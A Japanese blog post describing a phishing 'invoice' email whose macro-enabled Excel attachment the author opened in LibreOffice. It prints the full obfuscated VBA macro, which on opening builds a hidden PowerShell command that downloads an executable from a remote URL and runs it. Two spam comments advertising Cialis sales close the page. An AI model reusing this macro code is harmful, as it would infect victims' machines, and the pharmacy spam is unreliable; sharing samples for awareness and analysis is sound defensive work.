件名「請求書」メールがきた。

件名「請求書」メールがきた。

差出人　[e-mail]

宛先　[e-mail]   [e-mail]

CC     [e-mail]

添付ファイル　の請求書2.xls マクロあり

本文

いつもお世話になっております。

請求書送付させて頂きます。

宜しくお願い致します。

添付ファイルがxlsエクセルファイルなのでCalcで開いてみた。
OS　kubuntu16.04 64bit
LibreOffice 5.1

文字化けしてる。

マクロのソース　

Function ffversio()
ffversio = Array(Nz, Null, Null, Minute(Now), Null, Minute(Now), "C" + Chr(77), Minute(Now), Hour(Now), Nothing, 0, 1)
End Function
Function natgeo1()
natgeo1 = Array(Nz, Null, Nz, "d" & newrenberf + Right(Left(wherestr, 6), 1) + volvocar, Minute(Now), Hour(Now), Nothing, 1, 1)
End Function
Function photosym()
photosym = Array(Nz, Nz, Minute(Now), Hour(Now), Right(Left(wherestr, 6), 1) & "  " + Chr(47) + "c """, NaN, Null, Nothing, 0, 0)
End Function
Function bulkname()
    bulkname = """"
End Function
Function crownsilv()
nordwest = "simple Gathen textiles"
crownsilv = Right(Left(nordwest, 11), 2)
End Function
Function centrecity()
optiii3 = "^if" + "^or^"
simtown = "'e" & volvocar & "e.%" + "p" + "met%' ^sse^cor" + "p-t^" + "rats^;^)'e"
centrecity = simtown + volvocar & "e.%pm" + "et" + "%','e" & volvocar & "e" + newrenberf + "dme" + Chr(47) + "ten.derpo" & Chr(47) & "/:p" + "t" & crownsilv & "'(e^l^i^fd" + didntuse + "od.^)t^n^ei^lc^b^ew.^t^en.me^t^sy^s tcej^bo^-w^en^(^ ned" + "di" + Chr(94) + "h e^lyts^wo^dn^iw^- ^e^l" + optiii3 + "p^o^n-"
End Function
Function dgeeroo()
dgeeroo = "  -e"
End Function
Function volwramms()
volwramms = Array(xlZero, xlLabelPositionAbove, vc, vc, vc, vc, Null, vc, msoSyncAvailableNone, msoSyncAvailableNone, vc, vc, "prO^F", vc, Hour(Now), vc, vc, vc, Null)
End Function
Function cropells()
cropells = "^xe^  "
End Function
Sub Workbook_Open()
If xlThick > 0 Then
If xlChartElementPositionAutomatic < 0 Then
vieweanas = Shell(Join(Array(ffversio()(6), natgeo1()(3), photosym()(4)), "") & zibberff & StrReverse(centrecity) & bulkname, O)
End If
End If
End Sub
Function wherestr()
wherestr = "figure xcoords"
End Function
Function volvocar()
volvocar = Left(Right(wherestr, 7), 1)
End Function
Function didntuse()
msdetes = "^a" + "ol" + "n" + "w^"
didntuse = msdetes
End Function
Function newrenberf()
vincodetr = "!!=-.-"
newrenberf = Left(Right(vincodetr, 2), 1)
End Function

Function zibberff()
fdumps = "p^O"
bzzz = Array(xlZero, Pos, 0, xlLabelPositionAbove, Null, Pos, Minute(Now), Pos, Pos, Pos, "s ", Pos, Minute(Now), Pos, Pos, Pos, Null)
gunleft = Array(vbNull, Pos, Minute(Now), Pos, "yahoo", Pos, Null, Pos, Pos, Pos, Pos, 1, Pos, "pa^", Pos, Pos, Null)
libgher = Array(vbNull, Pos, Pos, "Y", Pos, Pos, Null, Pos, Pos, "A", Minute(Now), Pos, Hour(Now), Pos, 2, Pos, Pos, Pos, Null)
qqpp1 = Array(vbNull, Pos, Pos, Pos, Minute(Now), Pos, Null, Pos, 0, Pos, Pos, Pos, 12 + 7, Pos, "^u", Pos, "google")
fijkol = Array(vbNull, Pos, "bind", Pos, Day(Now), Pos, Null, "^Ec", Pos, Pos, Hour(Now), Pos, Pos, "seyshells", Pos, Pos, Pos, Pos, Null)
q190 = Array(2, vbNull, Pos, Pos, Pos, Pos, Null, Pos, Pos, Pos, Minute(Now), Pos, Pos, "DO^ws^ 1", Pos, Pos, Pos, Pos, Null)
simsim = Array(1, vbNull, Pos, Pos, Minute(Now), Pos, Null, 3, Pos, Pos, Pos, Pos, 1, Pos, Pos, Minute(Now), "^Ni^Nt", Null)
df001 = Array(2, 1, vbNull, Minute(Now), "  -W^In", Pos, Null, Pos, Pos, Pos, Pos, "-nO^", Pos, Pos, Pos, Pos, Null)
llmoll = Array(1, vbNull, Pos, Pos, Minute(Now), "^hel^l", Null, Pos, 2, Pos, Pos, Pos, Pos, Nothing, Pos, Null, Pos)
ooolem = Array(2, vbNull, Pos, Minute(Now), "^ERS", Pos, Null, Pos, Pos, Nothing, Pos, Pos, Null, Pos, Pos, Null, Pos)
kropots = Array(x1, vbNull, Minute(Now), 2, Pos, Pos, Null, Pos, Pos, Pos, "W", Pos, Pos, Null, Pos, Pos, Pos, 0)
gobelens = "^.e" & cropells & df001(11) + "l -No" + simsim(16) + Chr(94) & df001(4) & q190(13)
zibberff = fdumps & Array(kropots(10) & ooolem(4) & llmoll(5) & gobelens + " -No" & volwramms(12) & "Il" + "e^" & dgeeroo & "X" & fijkol(7) & qqpp1(14) & "  B^" + libgher(3) & gunleft(13) & "S^" & bzzz(10))(0)
End Function

IPアドレス

	10.168.4.51
ホスト名	ip-10-168-4-51.ap-northeast-1.compute.internal
IPアドレス割当てエリア
国	判定不明

コメント 2

Canaidean Rx https://abcialisnews.com/ - Cialis Zithromax While Pregnant <a href=https://abcialisnews.com/#>cialis generic 2017</a> Lotrisone Otc
by Bupsfutty (2020-06-14 13:55) 

Cialis Kaufen Spanien https://bbuycialisss.com/ - Buy Cialis productos con kamagra <a href=https://bbuycialisss.com/#>Buy Cialis</a> Isotretinoin 20mg for sale
by SWADWAY (2020-06-20 10:41)